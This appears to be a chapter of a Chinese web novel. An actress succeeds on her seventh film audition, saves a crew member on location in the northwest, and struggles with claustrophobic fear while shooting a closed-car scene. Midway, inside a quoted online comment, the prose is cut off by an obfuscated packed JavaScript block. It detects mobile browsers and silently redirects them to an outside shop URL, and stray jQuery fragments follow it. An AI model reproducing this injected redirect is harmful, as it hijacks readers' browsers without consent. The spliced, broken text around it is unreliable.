第七次试镜，房间里多了两台摄影机。
选角导演主动解释：“今天的表演区、评委席和评分过程全部录像。试镜结束以后，无论结果如何，你都可以申请查看录像和评分表。”
方琦点头，“好。”
“另外，李晖导演只推荐你参加试镜，不参与评选，所以今天的结果我们不做保证，如果落选，此前耽误你试镜的时间也由你个人承担。”
听见这句话，方琦微微一怔。
公开推荐和暗中安排，原来真的不一样。
李晖把一扇门的位置告诉了她，却没有替她推门，更没有要求门里的人必须给她留个位置。她能不能进去，仍得看自己。
“准备好了吗？”周岚问。
“准备好了。”
“原定片段取消，换一道题。”周岚翻扣手里的剧本，“许宁已经找到姐姐，却得知姐姐不愿意回家。她刚走出派出所，父亲打来电话，说很担心她，让她立刻回去。”
没有台词，没有道具，也没有动作提示。
方琦站在镜头前，足足沉默了半分钟。
如果是以前，她大概会演一场激烈的争吵。许宁已经走到了这里，理应把这些年受过的委屈全部喊出来，再痛痛快快地告诉父亲，自己绝不会回去。
可是，经历了六次失败以后，方琦知道，那不是许宁。
许宁不会突然变成一个天不怕地不怕的人。
她还是会害怕父亲生气，会因为对方一句“担心你”而愧疚，也会怀疑自己是不是太自私了。
可害怕，不代表必须回头。
方琦拿起桌上的道具手机。
看到屏幕上并不存在的来电姓名，她手指一顿，迟迟没有按下接听；过了许久，她才像终于鼓足勇气，将手机放到耳边。
“爸。”
电话那端自然没有回应。
方琦却听得很认真。她的肩膀慢慢收紧，嘴唇动了几次，像是想解释什么，最终又全部咽了回去。
“我知道。”
指尖一点点攥紧，关节泛出苍白的颜色。
“我知道你担心我。”
说到这里，她眼眶终于红了，目光也下意识转向身后的门。只要回去，一切都会恢复原样。有人替她安排生活，替她选择道路，她不必一个人在陌生的地方担惊受怕，也不必承担任何选择失败的后果。
多轻松啊……
可是，那还是她想要的生活吗？
“对不起。”方琦轻声说，“这一次，我不回去了。”
她没有哭，也没有控诉，只安静地将手机从耳边拿下来。挂断以前，指尖又停顿了几秒，仿佛在等父亲最后一次改变她的决定。
最终，她还是按了下去。
房间里一片寂静。
周岚一直没有喊停，方琦也没有贸然出戏。直到十几秒后，那句“可以了”从监视器后传来，她才缓缓吐出一口气，向评审席鞠躬。
三名评审分别在评分表上写字。
等待结果的几十秒，比方琦上一世站在刑场等刽子手落刀还漫长。
至少当时她知道，刀一定会落下来；现在却不知道，等在前面的究竟是什么。
终于，周岚放下笔，抬眼望了过来。
“为什么没哭？”
方琦想了想，“因为我认为她不是不难过，只是难过完了，路还是得自己走。”
周岚脸上终于露出一丝笑容。
“恭喜你，许宁。”
方琦一愣。
“我说，”周岚朝她伸出手，“欢迎你加入《归途》剧组。”
真的成功了！？
方琦惊喜得险些没能维持住仪态，快步走上前，用力握住周岚的手。
“谢谢导演！”
“先别急着谢。”周岚提醒，“这部电影预算低，片酬少，大部分外景都在西北，条件很苦。进组之后我也不会因为你试了七次，就对你格外宽容。”
“我知道。”方琦点头如捣蒜，“只要您愿意让我演，什么条件都可以商量！”
“这话别对制片人说。”周岚瞥了眼旁边的人，“不然他真敢把你的片酬再砍一半。”
制片人轻咳一声，默默移开视线。
————————————————————————————————————
方琦走出试镜室时，走廊里还剩几个等候结果的女演员。
当初议论得最凶的那个全妆姑娘，正抓着助理追问里面的动静；看见选角导演亲自送方琦出来，两人说了几句话，姑娘脸上的妆一点一点垮了下去。
“定了？真定了她？”
“七次，人家试了七次，录像评分全公开，你要看吗？”助理小声嘀咕，“我刚才刷到有人把她这半个月的试镜时间线扒出来了，底下都没人骂了，全在刷‘她居然来真的’……”
姑娘张了张嘴，没再说话。
单小贝从墙边蹦起来，方才蹲在角落啃的面包都忘了咽：“怎么样？周导怎么说？不会又让你下周再来吧？”
“不会。”
单小贝的脸立刻垮了，“没、没关系啊！一部小成本电影而已，没选上是他们没眼光！咱们回头让虹姐找个投资更大、片酬更高的——”
“我要进组了。”方琦打断她。
“哦，进组……什么！？”
单小贝手里的半块面包“啪”地掉在地上。
下一瞬，她发出一声足以掀翻天花板的尖叫，冲上来紧紧抱住方琦，“啊啊啊啊啊！方琦姐！你拿到了！女主角！这次真的是女主角！”
“好了好了，先松开。”方琦被勒得喘不过气，拍着她的胳膊提醒，“这里还有其他人。”
单小贝赶紧捂住嘴，眼睛却笑成了两条缝，临走还故意朝那位全妆姑娘的方向扬了扬下巴——她们方琦姐说了，要谢谢人家替她省宣传费。
回公司的路上，正式合同发到了邮箱。
方琦从第一页开始，一字一句认真阅读。角色、片酬、拍摄周期、解约条件，全都写得清清楚楚；李晖的名字没有出现在投资方里，萧昀的名字也没有，甚至连博通都和这部电影毫无关系。
这一次，没有人花钱替她换掉谁，也没有人暗中替她扫清道路。
她失败了六次，改了六次，然后在第七次，靠自己留了下来。
可是，当翻到后半部分的拍摄说明时，方琦脸上的笑容忽然僵住了。
【第二十八场：许宁与男乘客被困故障汽车，封闭车厢内对手戏，预计拍摄时长两日。】
【第四十七场：许宁在旅馆走廊被男性角色抓住手腕。】
【以上场次需要演员完成近距离肢体接触。】
方琦盯着“封闭车厢”和“抓住手腕”几个字，刚才还雀跃不已的心脏，猛地沉了下去。
她差点忘了，得到角色，只是第一步，这具身体里，还藏着一个连她自己都不知道该怎么面对的麻烦。
————————————————————————————————————————————————
正式进组以后，方琦才知道，试镜七次不算什么。
《归途》预算不高，拍摄要求却半点不低。周岚导演平时看着话不多，一坐到监视器后面，立马变成了另一个李晖：一个眼神不对，重来；走路快了半步，重来；拿筷子的姿势不像许宁，继续重来。
方琦在《孤星剑》里被李晖折磨了几个月，本以为自己已经练就了一身皮糙肉厚、百骂不惊的本领，到了《归途》剧组，才发现天外有天，人外有人，挑剔的导演之外，还有更挑剔的导演。
好在，她喜欢这种挑剔。
资本可以把一个演员送到摄影机前，却不能替她在镜头下把每一场戏演好。现在，周岚对她越严格，方琦反而越安心。
电影在西北取景。一个多月里，方琦跟着剧组坐过绿皮火车，走过荒废的国道，住过漏水的廉价旅馆，还在一座只有二十多户人家的小村里，连续吃了七天土豆。
因为经费有限，剧组没有多余的房车。单小贝刚开始还担心方琦吃不了苦，特意从北城背了一大箱面膜、防晒和营养品；结果拍到第三天，她自己累得瘫在床上不想动，方琦却已早早地起床练完一套拳，顺手还帮房东把院子里的半缸水挑满了。
“方琦姐……”单小贝趴在窗边，看得满脸怀疑人生，“你到底是来拍公路电影的，还是来参加劳动改造的？”
“顺手而已。”方琦放下扁担，活动了一下肩膀，“而且，待会儿不是要拍许宁帮老人挑水的戏吗？提前熟悉一下。”
“可剧本道具是空桶啊！”
“空桶挑起来太轻，走路是假的。”
单小贝无话可说，只能默默掏出手机，替自家敬业得有点吓人的艺人拍下一段工作记录。
拍摄进入第二周，一天，拍夜戏时。
村里打谷场临时搭了布景，一辆装满景片和器材的平板推车停在斜坡上。中场转场时，固定轮挡不知被谁碰松了，几百斤重的推车顺着坡道缓缓滑动，越滑越快，直冲着坡底正在核对通告单的场务小姑娘去了。
“让开——！”
有人先喊了一嗓子。小姑娘抱着文件夹回头，吓得钉在原地。
人群里只来得及响起一片惊呼，一道人影已经斜刺里冲了出去。
方琦两步抢在推车前面，左脚别住车轮，右手往车架上一搭一压，硬生生把冲势最猛的一下卸进了自己肩背。推车发出一声刺耳的摩擦声，停在离小姑娘不到半米的地方。
打谷场上安静了两秒。
“没、没事吧？”方琦先回头问了一句。
小姑娘抱着文件夹，腿一软坐到了地上，带着哭腔连声道谢。周围的工作人员呼啦啦围上来，七手八脚重新垫轮挡、检查器材，道具组长脸都白了，一个劲鞠躬道歉。
“方老师，您这反应也太快了……”摄影助理咋舌，“我跑一半您都到了。”
“离得近而已。”方琦揉了揉肩膀，语气自然，“情急之下，谁都能爆发出力气。”
监视器后面，周岚盯着回放看了两遍，忽然开口：“方琦。”
“导演。”
“许宁没这个力气。”
方琦心里“咯噔”一声。
“刚才那种爆发力，别带到镜头里。”周岚的目光在她身上停了两秒，却没有深究，只摆了摆手，“不过这种‘情急之下的力气’，你可以记进角色笔记。普通人被逼到绝路的时候是什么样子——留着，戏里用得上。”
方琦暗暗松了口气，郑重应下。
好险。看来往后不光是演普通人，连做普通人都得收着点力气。
当晚，场务小姑娘红着眼眶给方琦送来一碗热腾腾的土豆炖肉，碗里的肉明显比别人的多。第二天，不知谁把这件事发上了网，配着一张推车停在坡底的现场照片：
【《归途》剧组群演（误）路透：某方姓女演员夜戏现场单手逼停溜坡道具车，救下场务。之前公交抓小偷的视频我现在信了。】
【这姐们到底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889341|212696||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是个什么物种……】
【黑子说话！还说人家作秀吗？作秀能做到西北村里去？】
单小贝把手机递过来时，方琦正在看剧本，只扫了一眼评论区，便推了回去。
骂她的话她记得，夸她的话，她也不敢记太牢。
————————————————————————————————————
一个多月下来，拍摄比预想中顺利。
方琦渐渐收起了身上过于挺拔的气势，镜头里的许宁不再像个乔装成普通人的侯府小姐；她会因为错过班车而慌张，会坐在路边算剩下的钱，也会在遇到麻烦时先习惯性地道歉，再慢慢学会拒绝。
周岚虽然很少夸人，最近看回放时，紧皱的眉头明显少了。
直到剧组拍到了第二十八场。
这一场，是许宁搭乘陌生男人的顺风车。汽车开到半路抛锚，外面下着暴雨，手机也没信号，她不得不和一个男性单独困在封闭车厢里。
故事里，这个男人并不是坏人。他看出许宁紧张，主动下车修理，又将自己的外套留给她挡雨；可许宁因为从小受到父亲管束，对陌生男性有本能的防备，整场戏里，两人的距离始终忽远忽近。
按理说，这种戒备和恐惧，方琦连演都不用演。
她本以为这是优势。
谁知道，真正坐进车里，车门“砰”地关上的瞬间，身体里涌出来的恐惧，远远超过了表演需要的程度。
狭窄的车厢、男性身上淡淡的烟味、不断砸落在车顶的雨点声，还有中控锁落下时清脆的“咔哒”声，像一根根看不见的细针，同时扎进了她的脑袋。
方琦脸色刷地白了。
对面的男演员按照剧本伸手，想替她拿掉落在肩头的树叶。手掌才刚靠近，方琦已经猛地侧身，一记手刀劈了过去。
“哎！”
男演员惊叫一声，险险缩回手。
“咔！”周岚从监视器后站起来，“怎么回事？”
方琦没有回答，第一时间伸手去拉车门。
拉了一下，没开。
她的呼吸瞬间急促起来，五指用力握紧把手，又接连拽了两次。
“车门锁了，外面开！”现场工作人员发现不对，赶紧跑过来拉门。
新鲜空气灌进车厢，方琦几乎是扑出去的。双脚落地以后，她踉跄了半步，一只手撑住车门，另一只手按在胸口，急促地呼吸着。
单小贝吓得扔掉雨伞，冲过来扶她，“方琦姐，你怎么了？不舒服吗？”
“没事……”她声音很细，和平时中气十足的架势完全不同，这两个字显得毫无说服力。
周岚走到面前，打量她毫无血色的脸，“你怕密闭空间？”
方琦迟疑少顷，点了点头。
“以前怎么没说？”
“我、我……我以为自己能克服。”
她并非完全不能待在密闭空间里。一个人坐电梯、坐汽车的时候，这副身体虽然偶尔会紧张，却不至于失控；在片场和男性拍对手戏，只要四周有人，也基本没事。
唯独密闭空间和陌生男性撞在一起，恐惧才会成倍涌出。
周岚看了眼车内的男演员，“今天这场先停，换外景。”
“导演，我可以再试一次。”方琦忙说。
“你现在不是在演绎角色，而是真的害怕。”周岚毫不客气地拆穿，“这种状态拍下来不能用。我要的是角色的反应，不是演员本人发病。”
是吗？刚才看起来像在发病？方琦摸了摸脸颊，不安地辩解道：“可是——”
“先去休息。”
周岚说完，转身安排下一场拍摄去了。
接下来几天，方琦主动要求重拍了三次。
第一次，她在车门关上后就吓得大脑宕机，完全忘了台词；第二次勉强撑到了男演员靠近，却因为身体太过僵硬，整段表演都像只随时准备扑上去咬人的刺猬；第三次更糟，男演员按照走位抓住她的手腕，她反手便将人按到了座椅上。
幸好收力及时，不然男演员的胳膊怕是要当场脱臼。
“对不起！”方琦慌忙松手。
男演员揉着肩膀，惊魂未定地摆手，“没、没事……方老师，你是不是练过擒拿？”
“呃……学过一点防身。”方琦为了让自己看起来人畜无害，比了一个尽量可爱的手势：“就……这么一丢丢而已。”
“一点？”男演员看了看自己被按出褶皱的衣袖，表情复杂。
周岚在车外摘下耳机，第三次宣布暂停拍摄。
这回，方琦没有再找导演辩解，也没再逞强要求重拍。她自己也知道，再这样拍下去，不但完成不了工作，还可能把搭戏的演员打进医院。
收工后，周岚把她叫到了监视器前。
“外景提前收尾，之后全组转北城补室内戏。”周岚调出通告表，手指点在最后一栏，“第二十八场我给你挪到最后，回北城之前不拍。从今天算起，你有一个月。”
方琦一怔，“导演——”
“我不管你用什么办法，看医生也好，找人也罢。”周岚看着她，语气没有商量，“这场戏是许宁转变的关节，删不得，改不得。一个月后你还是拍不了，我就只能换能拍的人。”
话很重，却是她能给出的最大让步。
一部天天烧钱的小成本电影，不可能无限期等一个演员克服心病，这一点，方琦比谁都清楚。
“谢谢导演。”她深深吸了口气，“一个月后，我准时进那辆车。”